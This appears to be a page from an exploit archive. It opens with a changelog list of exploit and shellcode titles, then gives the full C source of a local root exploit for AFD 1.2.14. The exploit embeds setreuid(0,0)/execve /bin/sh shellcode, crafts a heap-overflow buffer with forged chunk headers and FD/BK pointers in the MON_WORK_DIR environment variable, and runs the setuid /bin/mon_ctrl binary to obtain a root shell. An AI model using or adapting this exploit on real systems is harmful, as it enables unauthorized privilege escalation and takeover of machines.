
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
65 lines
No EOL
2.3 KiB
C
65 lines
No EOL
2.3 KiB
C
/*
|
|
source: https://www.securityfocus.com/bid/5626/info
|
|
|
|
AFD (Automatic File Distributor) is prone to a number of locally exploitable stack and heap based buffer overflow conditions. These issues are all related to insufficient bounds checking of externally supplied values for the working directory, either via the command line or through an environment variable.
|
|
|
|
A number of the vulnerable AFD binaries are installed setuid root and may potentially be exploited by a local attacker to execute arbitrary code as root.
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
|
|
char shellcode[] =
|
|
"\xeb\x0a" /* 10-byte-jump; setreuid(0,0); execve /bin/sh; exit(0); */
|
|
"--netric--"
|
|
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f"
|
|
"\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x54\x24\x08\x50\x53\x8d"
|
|
"\x0c\x24\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
|
|
|
|
int
|
|
main(int argc, char *argv[])
|
|
{
|
|
char buffer[1135];
|
|
|
|
unsigned int retloc = 0xbfffe360;
|
|
unsigned int ret = 0x0806f020; /* &shellcode */
|
|
|
|
if (argc > 1) retloc = strtoul(argv[1], &argv[1], 16);
|
|
if (argc > 2) ret = strtoul(argv[2], &argv[2], 16);
|
|
|
|
memset(buffer, 0x41, sizeof(buffer));
|
|
memcpy(buffer, "MON_WORK_DIR=",13);
|
|
memcpy(buffer+13, shellcode, strlen(shellcode));
|
|
|
|
buffer[1117] = 0xff; /* prev_size */
|
|
buffer[1118] = 0xff;
|
|
buffer[1119] = 0xff;
|
|
buffer[1120] = 0xff;
|
|
|
|
buffer[1121] = 0xfc; /* size field */
|
|
buffer[1122] = 0xff;
|
|
buffer[1123] = 0xff;
|
|
buffer[1124] = 0xff;
|
|
|
|
buffer[1126] = (retloc & 0x000000ff); /* FD */
|
|
buffer[1127] = (retloc & 0x0000ff00) >> 8;
|
|
buffer[1128] = (retloc & 0x00ff0000) >> 16;
|
|
buffer[1129] = (retloc & 0xff000000) >> 24;
|
|
|
|
buffer[1130] = (ret & 0x000000ff); /* BK */
|
|
buffer[1131] = (ret & 0x0000ff00) >> 8;
|
|
buffer[1132] = (ret & 0x00ff0000) >> 16;
|
|
buffer[1133] = (ret & 0xff000000) >> 24;
|
|
|
|
buffer[1134] = 0x0;
|
|
putenv(buffer);
|
|
|
|
fprintf(stdout, "AFD 1.2.14 local root exploit by eSDee of Netric (www.netric.org)\n");
|
|
fprintf(stdout, "-----------------------------------------------------------------\n");
|
|
fprintf(stdout, "Ret = 0x%08x\n", ret);
|
|
fprintf(stdout, "Retloc = 0x%08x\n", retloc);
|
|
|
|
execl("/bin/mon_ctrl", "mon_ctrl", NULL);
|
|
return 0;
|
|
} |